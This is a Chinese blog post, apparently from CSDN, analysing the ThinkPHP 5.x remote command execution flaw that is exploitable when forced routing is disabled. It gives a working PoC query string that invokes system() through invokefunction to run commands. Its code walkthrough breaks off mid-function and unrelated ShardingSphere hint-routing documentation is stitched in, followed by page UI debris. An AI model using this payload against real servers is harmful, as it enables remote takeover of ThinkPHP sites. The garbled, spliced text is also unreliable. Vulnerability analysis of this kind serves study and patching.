Thinkphp 5.x 未开启强制路由导致RCE分析

本文详细介绍了ThinkPHP5在特定版本中存在的远程命令执行漏洞,该漏洞源于框架对控制器名的校验不足。在兼容模式下,攻击者可利用此漏洞通过指定参数调用任意控制器操作,实现远程代码执行。影响版本包括5.0.7到5.0.22及5.1.x。复现环境为thinkphp5.0.20+php5.6.27+apache+phpstorm。漏洞利用涉及路由解析、模块、控制器和操作的分配,最终导致invokeFunction方法被恶意调用,执行用户提供的系统命令。

这种类型的漏洞是因为框架对于控制器名没有进行足够的校验,在没有开启强制路由的情况下,攻击者可以通过兼容模式调用任意的控制器的操作,从而达到远程命令执行。

1. 影响版本

5.0.7<=thinkphp<=5.0.22
5.1.x

2. 漏洞复现

环境

thinkphp5.0.20+php5.6.27+apache+phpstorm

POC

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V1MdFF0z-1648718151043)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163142899.png)]

参数解释

s=index/\think\app/invokefunction,在兼容模式即未开启强制路由情况下,框架可以通过s参数获取pathinfo信息,然后进行路由的解析与调度。这里我们调用的是index模块下的app控制器的invokefunction方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TzDGJ7Ia-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163418444.png)]

function=call_user_func_array,invokefunction方法的第一个参数

vars[0]=system&vars[1][]=whoami,invokefunction方法的第二个参数

3. 漏洞分析

从入口文件开始看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bh8zsTw7-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164035344.png)]

加载一些框架文件后,进入run函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dciY41Nq-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164109925.png)]

首先实例化一个requests对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-neBPB96q-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164157869.png)]

往下一直走,开始进行路由的检测与解析,前面文章已经讲过路由解析的步骤,这里直接看结果

这里的路由解析就是根据pathinfo中的/来拆分出模块,控制器,操作的。我们上面也说过如果开启的强制路由,这个漏洞就失效了,这是因为如果开启了强制路由,我们还想调用invokefunction函数就得这么写:/public/index.php/index/think\app/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1,但是由于在pathinfo模式下,$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉payload格式无法正常路由解析,所以必须是兼容模式。
参考:https://paper.seebug.org/888/#poc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BF6JwDbM-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164314909.png)]

拿到路由调度信息后,我们继续往下走,到139行进入exec函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQlKO6pF-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165429745.png)]

因为type=module,进入红框分支

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ip9Kr46j-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165554447.png)]

跟进module函数

public static function module($result, $config, $convert = null)
    {
   
   
        if (is_string($result)) {
   
   
            $result = explode('/', $result);
        }

        $request = Request::instance();

        if ($config['app_multi_module']) {
   
   
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
            $bind      = Route::getBind('module');
            $available = false;

            if ($bind) 
### ShardingSphere 强制路由的功能概述 ShardingSphere 提供了 **强制路由 (Hint Routing)** 功能,用于在运行时动态覆盖已有的分片规则。此功能适用于需要临时跳过分片策略并直接访问目标数据库或表的场景[^1]。 --- ### 配置与实现方法 #### 1. 引入依赖 为了使用 ShardingSphere 的强制路由功能,需确保项目中引入了 `shardingsphere-jdbc-core` 或其他相关模块的 Maven/Gradle 依赖: ```xml <!-- Maven --> <dependency> <groupId>org.apache.shardingsphere</groupId> <artifactId>shardingsphere-jdbc-core</artifactId> <version>{latest-version}</version> </dependency> ``` 或者 Gradle: ```gradle implementation 'org.apache.shardingsphere:shardingsphere-jdbc-core:{latest-version}' ``` 其中 `{latest-version}` 是最新的版本号,请根据实际需求替换。 --- #### 2. 数据源与规则配置 在配置文件中定义分片规则的同时,无需额外设置强制路由相关内容。以下是 YAML 格式的示例配置: ```yaml dataSources: ds_0: url: jdbc:mysql://localhost:3306/db0?serverTimezone=UTC&useSSL=false username: root password: root ds_1: url: jdbc:mysql://localhost:3306/db1?serverTimezone=UTC&useSSL=false username: root password: root rules: - !SHARDING tables: t_order: actualDataNodes: ds_${0..1}.t_order_${0..1} tableStrategy: standard: shardingColumn: order_id shardingAlgorithmName: t_order_inline keyGenerateStrategy: column: order_id keyGeneratorName: snowflake shardingAlgorithms: t_order_inline: type: INLINE props: algorithm-expression: t_order_${order_id % 2} props: sql-show: true ``` 上述配置中,`actualDataNodes` 定义了分片的实际节点分布,而 `tableStrategy` 则指定了默认的分片算法[^2]。 --- #### 3. 使用 Hint API 实现强制路由 通过 ShardingSphere 提供的 Hint API,在代码层面可以显式指定数据操作的目标库或表。以下是一个完整的 Java 示例: ```java import org.apache.shardingsphere.api.hint.HintManager; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; public class HintRoutingExample { public static void main(String[] args) throws Exception { // 获取连接对象(此处省略获取 Connection 的具体过程) try (Connection connection = dataSource.getConnection()) { // 创建 HintManager 并开启强制路由模式 try (HintManager hintManager = HintManager.getInstance()) { hintManager.addDatabaseShardingValue("t_order", "ds_0"); // 指定数据库为 ds_0 hintManager.addTableShardingValue("t_order", 0); // 指定表为 t_order_0 String querySql = "SELECT * FROM t_order WHERE order_id = ?"; try (PreparedStatement preparedStatement = connection.prepareStatement(querySql)) { preparedStatement.setInt(1, 1); ResultSet resultSet = preparedStatement.executeQuery(); while (resultSet.next()) { System.out.println(resultSet.getInt("order_id")); } } } } } } ``` 在此代码片段中: - `addDatabaseShardingValue` 方法用于指定目标数据库。 - `addTableShardingValue` 方法则进一步细化到具体的表级别[^1]。 --- #### 4. SQL 注解方式支持 除了程序化调用外,还可以利用 SQL 注解的方式完成强制路由。例如: ```sql /*+ SHARDING_HINT(ds_name='ds_0', tbl_name='t_order_0') */ SELECT * FROM t_order WHERE order_id = 1; ``` 这种方式适合于简单的查询场景,但在复杂业务逻辑下推荐优先采用 Hint API 方式[^2]。 --- ### 注意事项 - 强制路由会完全忽略现有的分片规则,因此应谨慎使用以避免性能问题或其他意外行为。 - 如果频繁使用强制路由,则可能表明当前分片设计存在不足之处,建议重新评估分片策略。 --- 问题
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值